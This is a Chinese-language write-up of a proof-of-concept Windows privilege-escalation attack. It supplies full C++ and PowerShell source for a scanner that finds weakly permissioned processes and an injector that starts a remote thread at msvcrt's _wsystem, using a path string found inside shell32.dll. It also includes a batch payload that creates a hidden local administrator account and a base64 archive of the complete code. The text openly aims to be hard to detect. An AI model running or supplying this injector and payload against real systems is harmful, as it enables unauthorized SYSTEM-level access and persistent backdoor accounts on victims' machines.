1. 介绍

​ 当前工具旨在检测安全性差的进程,并仅使用OpenProcess[3]和CreateRemoteThread[1]注入它们,而不读取或写入目标进程内存。它有时碰巧有特权进程生成与进程创建线程和进程查询有限的信息流可供任何经过身份验证的用户访问。我们将无法操作目标进程的环境变量、桌面会话或内存。

​ 本文解释了两个工具(scanprocess/injector)的内部结构,这两个工具是本文所介绍的POC攻击。

​ 在本文中,我们将考虑在不同会话中的另一个Windows用户的上下文中,没有任何读/写访问权限的进程,只有最后两个flag。使用的操作系统是windows10新安装的。令人惊讶的是,这种流程的正确性在企业设备中相当常见。我多次成功地运用这项技术将自己提升到本地系统。

 

用例:

Unusual, hopefully hard to detect way to inject process(异常,希望很难发现诸如过程的方式) Local privilege escalation on poorly secured systems(安全性较差的系统上的本地提权升级)

 

2.发现脆弱的过程

检查权限的最简单方法是使用open process[3]打开具有每个访问权限的进程。这将在“processright”列表上循环,并显示当前用户不拥有的任何进程可以访问或不可以访问的内容。像powerspoit[2]这样的许多工具还没有检查进程的权限。

std::vector <DWORD > processrights = { DELETE , READ_CONTROL , SYNCHRONIZE , WRITE_DAC , WRITE_OWNER , PROCESS_ALL_ACCESS , PROCESS_CREATE_PROCESS , PROCESS_CREATE_THREAD , PROCESS_DUP_HANDLE , PROCESS_QUERY_INFORMATION , PROCESS_QUERY_LIMITED_INFORMATION , PROCESS_SET_INFORMATION , PROCESS_SET_QUOTA , PROCESS_SUSPEND_RESUME , PROCESS_TERMINATE , PROCESS_VM_OPERATION , PROCESS_VM_READ , PROCESS_VM_WRITE , ACCESS_SYSTEM_SECURITY }; int main(void) { for(auto const& pid: GetProcesses()) { if(!IsCurrentUserProcess(pid)) { for(auto const& right: processrights) { HANDLE phendle = OpenProcess(right , FALSE , pid); if(phendle != NULL) { std::wcout << L"Process: " << GetProcessName(pid) << L"(" << pid << L") " << GetProcessSid(pid) << L" " << processrightsdescription[right] << std::endl; CloseHandle(phendle); } } } } return 0; }

获取流程权限pid

powershell版本:

$MethodDefinition = @’ [ DllImport (" kernel32 .dll", CharSet = CharSet . Auto )] public static extern IntPtr OpenProcess ( uint dwDesiredAccess , bool bInheritHandle , uint dwProcessId ); [ DllImport (" kernel32 .dll ")] public static extern bool CloseHandle ( IntPtr hObject ); ’@ $Kernel32 = Add-Type - MemberDefinition $MethodDefinition - Name ’Kernel32 ’ - Namespace ’Win32 ’ - PassThru $rightList = @{ PROCESS_TERMINATE = (1); PROCESS_CREATE_THREAD = (2); PROCESS_VM_OPERATION = (8) ; PROCESS_VM_READ = (16) ; PROCESS_VM_WRITE = (32) ; PROCESS_DUP_HANDLE = (64) ; PROCESS_CREATE_PROCESS = (128) ; PROCESS_SET_QUOTA = (256) ; PROCESS_SET_INFORMATION = (512) ; PROCESS_QUERY_INFORMATION = (1024) ; PROCESS_SUSPEND_RESUME = (2048) ; PROCESS_QUERY_LIMITED_INFORMATION = (4096) ; PROCESS_SET_LIMITED_INFORMATION = (8192) ; PROCESS_ALL_ACCESS = 4095; DELETE = (65536) ; READ_CONTROL = (131072) ; WRITE_DAC = (262144) ; WRITE_OWNER = (524288) ; SYNCHRONIZE = (1048576) ; STANDARD_RIGHTS_REQUIRED = (983040) ; STANDARD_RIGHTS_ALL = (2031616) ; SPECIFIC_RIGHTS_ALL = (65535) ; ACCESS_SYSTEM_SECURITY = (16777216) ; } $procList = Get-CimInstance Win32_Process foreach ( $proc in $procList ) { $procProperties = Invoke-CimMethod - InputObject $proc - MethodName GetOwner - ErrorAction SilentlyContinue if ( $Null -ne $procProperties ) { if ( $procProperties . User -ne $env : UserName ) { foreach ( $right in $rightList . Keys ) { $phandle = $Kernel32 :: OpenProcess ( $rightList [ $right ], $FALSE , $proc . ProcessId ); if ( $phandle -ne [ IntPtr ]:: Zero ) { $output = " Process : "+ $proc . ProcessName +" ("+ $proc . ProcessId +") "+ $right Write-Output $output $Kernel32 :: CloseHandle ( $phandle ) | Out-Null } } } } }

获取流程权限(pid)

scanprocess.cpp的完整代码包含在附录中。为了能够被利用,这个过程需要在
至少具有以下权利:

PROCESS CREATE THREAD(进程创建线程) PROCESS CREATE PROCESS; (进程创建进程) PROCESS QUERY LIMITED INFORMATION(进程查询受限信息)

我们正在考虑下面的例子。您可以使用processhacker[4]进行复制以进行测试:

 

3.注入受害者信息

3.1开发概况

经典的VirtualAllocEx[6]、WriteProcessMemory[5]、CreateRemotethread[1]方法不能用于无法读取/写入进程内存。我们将尝试找到一个已经运行任意代码的地址,不写任何外壳代码,也不知道内存地址空间。最简单的方法执行我们的有效载荷是:

system("path_to_stript");

执行任意命令

我们需要找到2个地址:

指向我们可以在Windows上访问的位置的字符串; 我们的系统调用(msvcrt.dll:wsystem似乎可以很好地执行命令)。

然后,我们需要2的组合以使用字符串作为参数创建指向wsystem的线程。尽管在ASLR中,地址在两个进程之间有很高的概率(接近100%)相同或者不同的用户会话。

攻击模式视图

3.2 定位调用

这是一个简单的部分,注入器将在它自己的内存空间中查找函数的地址,示例代码非常直接:

void * StartAddress = ( void *) GetProcAddress ( LoadLibrary (" msvcrt . dll "), " _wsystem ");

找到函数地址

3.3 定位字符串

通常的W/X路径(C:UsersDefault、%temp%、%appdata%),…)将不相关,因为它们不存在于
目标进程。默认情况下,具有子文件夹创建权限的经过身份验证的用户可以访问路径C:。

创建子文件

在Windows系统上,如果您位于同一磁盘上的任何位置,将直接访问路径C:。这个下面的regex将在我们想要的任何DLL中找到一个有趣的路径。在PE中经常加载DLL“shell32.DLL”,文件并包含有趣的字符串:
如果未在目标进程中加载DLL,则可以通过运行LoadlibraryEx强制他加载DLL。在远程进程上。

strings -eb shell32.dll | grep -P "(\\[a-zA-Z0 -9]{3,20}){2}^"

查找有趣字符串

inject.cpp中已经提供了潜在路径的列表。该程序将搜索可利用的字符串通过搜寻其自己的模块并搜索给定的字符串。以下代码完成工作:

wchar_t * egghunting ( wchar_t * modulename , wchar_t * string ) { BYTE * moduleaddress = ( BYTE *) LoadLibraryW ( modulename ); size_t ntheaderoffset = (( PIMAGE_DOS_HEADER ) moduleaddress ) -> e_lfanew ; #ifdef __x86_64__ IMAGE_NT_HEADERS64 * nt_headers = ( IMAGE_NT_HEADERS64 *)( moduleaddress + ntheaderoffset ); #else IMAGE_NT_HEADERS32 * nt_headers = ( IMAGE_NT_HEADERS32 *)( moduleaddress + ntheaderoffset ); #endif for( size_t i=0; i< nt_headers -> FileHeader . NumberOfSections ; i++) { #ifdef __x86_64__ PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )( moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS64 ) * i); #else PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )( moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS32 ) * i); #endif for ( size_t i=( size_t ) section -> VirtualAddress ; i< section -> Misc . VirtualSize + ( size_t ) section -> VirtualAddress ; i ++) { if( wcsicmp (string , ( wchar_t *)& moduleaddress [i]) == 0) { return ( wchar_t *)& moduleaddress [i]; 19 } 20 } 21 } 22 return NULL ; 23 }

针对扫描程序先前发现的进程的注入程序将返回可利用的字符串:

执行payload

注入停止,现在是在给定路径中复制有效负载的时候了。最简单的利用方法是,具有bat文件的特权用户:

net user /add adminuser adminuserpassword net localgroup administrators adminuser /add

复制内容到createadminuser.bat 里面。

 

4.源代码生成

包括Dockerfile在内的完整源文件附在附录中,为了构建扫描仪和注入器,只需运行编译injector.sh。根据目标进程的版本,工具有32位和64位版本。

 

5.结论

最新安装版本的Windows 10允许经过身份验证的用户在C:中创建一个文件夹,ASLR选择在分区之间的库地址相同,直到下次重新启动。这两种可能性的结合允许,攻击者将远程进程注入受保护的不良的进程。这也有助于利用BOF。

 

参考链接

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread https://github.com/PowerShellMafia/PowerSploit https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex

附录:

A:scanProcesses.cpp

# include <windows .h> # include <psapi .h> # include <sddl .h> # include <tlhelp32 .h> # include <wbemidl .h> # include <vector > # include <iostream > # include <map > std :: map <DWORD , std :: wstring > processrightsdescription = { {DELETE , L" DELETE "}, { READ_CONTROL , L" READ_CONTROL "}, { WRITE_DAC , L" WRITE_DAC "}, { WRITE_OWNER , L" WRITE_OWNER "}, {PROCESS_ALL_ACCESS , L" PROCESS_ALL_ACCESS "}, { PROCESS_CREATE_PROCESS , L" PROCESS_CREATE_PROCESS "}, {PROCESS_CREATE_THREAD , L" PROCESS_CREATE_THREAD "}, { PROCESS_DUP_HANDLE , L" PROCESS_DUP_HANDLE "}, {PROCESS_QUERY_INFORMATION , L" PROCESS_QUERY_INFORMATION "}, { PROCESS_QUERY_LIMITED_INFORMATION , L" PROCESS_QUERY_LIMITED_INFORMATION " }, {PROCESS_SET_INFORMATION , L" PROCESS_SET_INFORMATION "}, { PROCESS_SET_QUOTA , L"PROCESS_SET_QUOTA "}, {PROCESS_SUSPEND_RESUME , L" PROCESS_SUSPEND_RESUME "}, { PROCESS_TERMINATE , L" PROCESS_TERMINATE "}, {PROCESS_VM_OPERATION , L" PROCESS_VM_OPERATION "}, { PROCESS_VM_READ , L" PROCESS_VM_READ "}, {PROCESS_VM_WRITE , L" PROCESS_VM_WRITE "}, { SYNCHRONIZE , L" SYNCHRONIZE "}, { ACCESS_SYSTEM_SECURITY , L" ACCESS_SYSTEM_SECURITY "} }; std :: vector <DWORD > processrights = { DELETE , READ_CONTROL , SYNCHRONIZE , WRITE_DAC , WRITE_OWNER , PROCESS_ALL_ACCESS , PROCESS_CREATE_PROCESS , PROCESS_CREATE_THREAD , PROCESS_DUP_HANDLE , PROCESS_QUERY_INFORMATION , PROCESS_QUERY_LIMITED_INFORMATION , PROCESS_SET_INFORMATION , PROCESS_SET_QUOTA , PROCESS_SUSPEND_RESUME , PROCESS_TERMINATE , PROCESS_VM_OPERATION , PROCESS_VM_READ , PROCESS_VM_WRITE , ACCESS_SYSTEM_SECURITY }; std :: vector <DWORD > GetProcesses ( void ) { IWbemLocator * pLoc = NULL ; IWbemServices * pSvc = NULL ; std :: vector <DWORD > retval ; if( CoInitializeEx (0, COINIT_MULTITHREADED ) != S_OK ) { std :: wcout << L" CoInitializeEx error =" << GetLastError () << std :: endl ; return retval ; } if( CoInitializeSecurity (NULL , -1, NULL , NULL , RPC_C_AUTHN_LEVEL_DEFAULT , RPC_C_IMP_LEVEL_IMPERSONATE , NULL , EOAC_NONE , NULL ) != S_OK ) { std :: wcout << L" CoInitializeEx error =" << GetLastError () << std :: endl ; return retval ; } if( CoCreateInstance ( CLSID_WbemLocator , 0, CLSCTX_INPROC_SERVER , IID_IWbemLocator , ( LPVOID *) & pLoc ) != S_OK ) { std :: wcout << L" CoInitializeEx error =" << GetLastError () << std :: endl ; return retval ; } if(pLoc -> ConnectServer ( BSTR (L" ROOT \ CIMV2 "), NULL , NULL , 0, 0, 0, 0, & pSvc ) != S_OK ) { std :: wcout << L" CoInitializeEx error =" << GetLastError () << std :: endl ; return retval ; } if( CoSetProxyBlanket (pSvc , RPC_C_AUTHN_WINNT , RPC_C_AUTHZ_NONE , NULL , RPC_C_AUTHN_LEVEL_CALL , RPC_C_IMP_LEVEL_IMPERSONATE , NULL , EOAC_NONE ) != S_OK ) { std :: wcout << L" CoInitializeEx error =" << GetLastError () << std :: endl ; return retval ; } std :: wstring querystring (L" select Handle from win32_Process "); IEnumWbemClassObject * pEnumerator = NULL ; if( pSvc == NULL ) { std :: wcout << L" Parsing process error opening blanket : " << GetLastError () << std :: endl ; return retval ; } pSvc -> ExecQuery ( BSTR (L"WQL "), BSTR ( querystring . c_str ()), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY , NULL , & pEnumerator ); IWbemClassObject * pclsObj = NULL ; ULONG uReturn = 0; while ( pEnumerator ) { pEnumerator -> Next ( WBEM_INFINITE , 1, & pclsObj , & uReturn ); if (0 == uReturn ) break ; VARIANT vtProp ; pclsObj ->Get(L" Handle ", 0, &vtProp , 0, 0); DWORD currentpid = std :: stoi ( vtProp . bstrVal ); if( currentpid != GetCurrentProcessId ()) { retval . push_back ( currentpid ); } VariantClear (& vtProp ); pclsObj -> Release (); } if( pEnumerator != NULL ) pEnumerator -> Release (); return retval ; } std :: wstring GetProcessSid ( DWORD PID) { std :: wstring retval (L""); HANDLE processhandle = OpenProcess ( PROCESS_QUERY_INFORMATION , FALSE , PID ); if( processhandle == NULL ) return retval ; HANDLE tokenhandle = NULL ; OpenProcessToken ( processhandle , TOKEN_QUERY , & tokenhandle ); if( processhandle == NULL ) { CloseHandle ( processhandle ); return retval ; } DWORD size = 0; GetTokenInformation ( tokenhandle , TokenGroups , NULL , size , & size ); PTOKEN_USER ptu = ( PTOKEN_USER ) HeapAlloc ( GetProcessHeap () , HEAP_ZERO_MEMORY , size ); if (! GetTokenInformation ( tokenhandle , TokenUser , ptu , size , & size )) { CloseHandle ( processhandle ); CloseHandle ( tokenhandle ); return retval ; } wchar_t *SID ; if (! ConvertSidToStringSidW (ptu -> User .Sid , &SID )) { std :: wcout << GetLastError () << L" " << std :: endl ; CloseHandle ( processhandle ); CloseHandle ( tokenhandle ); return retval ; } retval += SID ; LocalFree (SID); CloseHandle ( tokenhandle ); CloseHandle ( processhandle ); return retval ; } bool IsCurrentUserProcess ( DWORD PID ) { std :: wstring currsid = GetProcessSid ( GetCurrentProcessId ()); std :: wstring sid = GetProcessSid (PID); if( currsid . compare (sid ) == 0) return true ; return false ; } std :: wstring GetProcessName ( DWORD PID) { PROCESSENTRY32W processInfo ; processInfo . dwSize = sizeof ( processInfo ); HANDLE processesSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS , 0); if ( processesSnapshot == INVALID_HANDLE_VALUE ) return std :: wstring (L""); for ( BOOL bok= Process32FirstW ( processesSnapshot , & processInfo );bok; bok = Process32NextW ( processesSnapshot , & processInfo )) { if( PID == processInfo . th32ProcessID ) { CloseHandle ( processesSnapshot ); return std :: wstring ( processInfo . szExeFile ); } } CloseHandle ( processesSnapshot ); return std :: wstring (L""); } int main ( void ) { for ( auto const & pid: GetProcesses ()) { std :: cout << " Scanning : " << pid << std :: endl ; if (! IsCurrentUserProcess (pid )) { for ( auto const & right : processrights ) { HANDLE phendle = OpenProcess (right , FALSE , pid ); if( phendle != NULL ) { std :: wcout << L" Process : " << GetProcessName (pid) << L"(" << pid << L") " << GetProcessSid (pid ) << L" " << CloseHandle ( phendle ); } } } } std :: cout << " done " << std :: endl ; return 0; }

B:inject.cpp

#include <windows .h> #include <psapi .h> #include <stdio .h> #include <vector > //match a path : //strings -eb shell32 .dll | grep -P "(\\[a-zA -Z0 -9]{3 ,20}) {2}^" wchar_t * pathlist [] = { (wchar_t *)L"\ Explorer \ SmallIcons ", (wchar_t *)L"\ Tcpip \ Parameters ", (wchar_t *)L"\ VarFileInfo \ Translation ", (wchar_t *)L"\ ComputerName \ ComputerName ", (wchar_t *)L"\ Control \ WinInit ", (wchar_t *)L"\ AppCompatFlags \ InstalledSDB ", (wchar_t *)L"\ Machine \ Software ", (wchar_t *)L"\ Device \ CdRom " }; /* char * egghunting ( char * modulename , char * string ) // ascii version { BYTE * moduleaddress = ( BYTE *) LoadLibraryA ( modulename ); size_t ntheaderoffset = (( PIMAGE_DOS_HEADER ) moduleaddress ) -> e_lfanew ; #ifdef __x86_64__ IMAGE_NT_HEADERS32 * nt_headers = ( IMAGE_NT_HEADERS32 *)( moduleaddress + ntheaderoffset ); #else IMAGE_NT_HEADERS64 * nt_headers = ( IMAGE_NT_HEADERS64 *)( moduleaddress + ntheaderoffset ); #endif for( size_t i=0; i< nt_headers -> FileHeader . NumberOfSections ; i ++) { #ifdef __x86_64__ PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )( moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS64 ) * i); #else PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )( moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS32 ) * i); #endif for ( size_t i=( size_t ) section -> VirtualAddress ; i< section -> Misc . VirtualSize ; i ++) { if( stricmp ( string , ( char *)& moduleaddress [i]) == 0) { return ( char *)& moduleaddress [i]; } } } return NULL ; }*/ wchar_t * egghunting ( wchar_t * modulename , wchar_t * string ) { BYTE * moduleaddress = ( BYTE *) LoadLibraryW ( modulename ); size_t ntheaderoffset = (( PIMAGE_DOS_HEADER ) moduleaddress ) -> e_lfanew ; #ifdef __x86_64__ IMAGE_NT_HEADERS64 * nt_headers = ( IMAGE_NT_HEADERS64 *)( moduleaddress + ntheaderoffset ); #else IMAGE_NT_HEADERS32 * nt_headers = ( IMAGE_NT_HEADERS32 *)( moduleaddress + ntheaderoffset ); #endif for( size_t i=0; i< nt_headers -> FileHeader . NumberOfSections ; i++) { #ifdef __x86_64__ PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )( moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS64 ) * i); #else PIMAGE_SECTION_HEADER section = ( PIMAGE_SECTION_HEADER )( moduleaddress + ntheaderoffset + sizeof ( IMAGE_NT_HEADERS32 ) * i); #endif for ( size_t i=( size_t ) section -> VirtualAddress ; i< section -> Misc . VirtualSize + ( size_t ) section -> VirtualAddress ; i ++) { if( wcsicmp (string , ( wchar_t *)& moduleaddress [i]) == 0) { return ( wchar_t *)& moduleaddress [i]; } } } return NULL ; } int main (int argc , char ** argv , char ** envp ) { void * arg1 = NULL ; DWORD ThreadId ; void * StartAddress ; BOOL arch ; if( argc != 2) { printf (" bad usage n"); return 1; } #ifdef __x86_64__ printf (" Starting x86_64 mode n"); #else printf (" Starting i386 mode n"); #endif HANDLE remoteprocess = OpenProcess ( PROCESS_CREATE_THREAD | PROCESS_QUERY_LIMITED_INFORMATION , FALSE , atoi ( argv [1]) ); if( remoteprocess == NULL ) { printf (" Failed to open process : %s (% lu)n", argv [1] , GetLastError ()); return 1; } IsWow64Process ( remoteprocess , & arch ); #ifdef __x86_64__ if( arch ) { printf (" Target is 32 bits . Recompile men"); CloseHandle ( remoteprocess ); return 0; } #else if (! arch ) { printf (" Target is 64 bits . Recompile men"); CloseHandle ( remoteprocess ); return 0; } #endif //Find interresting sting && execute wchar_t dllname [] = L" shell32 . dll "; wchar_t * path ; for ( size_t i=0; i< sizeof ( pathlist )/ sizeof ( wchar_t *); i++) { path = pathlist [i]; arg1 = ( void *) egghunting ( dllname , path ); if( arg1 != NULL ) break ; wprintf (L" string "% ls " not found in: "% ls " n", path , dllname ); } if( arg1 == NULL ) { wprintf (L" Unable to locate path n"); CloseHandle ( remoteprocess ); return 1; } else { wprintf (L" found : %lsn", ( wchar_t *) arg1 ); } StartAddress = ( void *) GetProcAddress ( LoadLibrary (" msvcrt . dll "), " _wsystem "); wprintf (L" Injection Ready ! Put your executable in %ls {. exe ,. com ,. bat ,. scr ,...} , then press enter n", path ); getchar (); if( CreateRemoteThread ( remoteprocess , NULL , 0, ( LPTHREAD_START_ROUTINE ) StartAddress , ( void *) arg1 , 0, & ThreadId ) == NULL ){ printf (" Failed to create remote thread : %lun", GetLastError ()) ; } else { printf (" Done !n"); } CloseHandle ( remoteprocess ); return 0; }

C:Fullcode.zip.b64

你可以用docker自己编译。

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 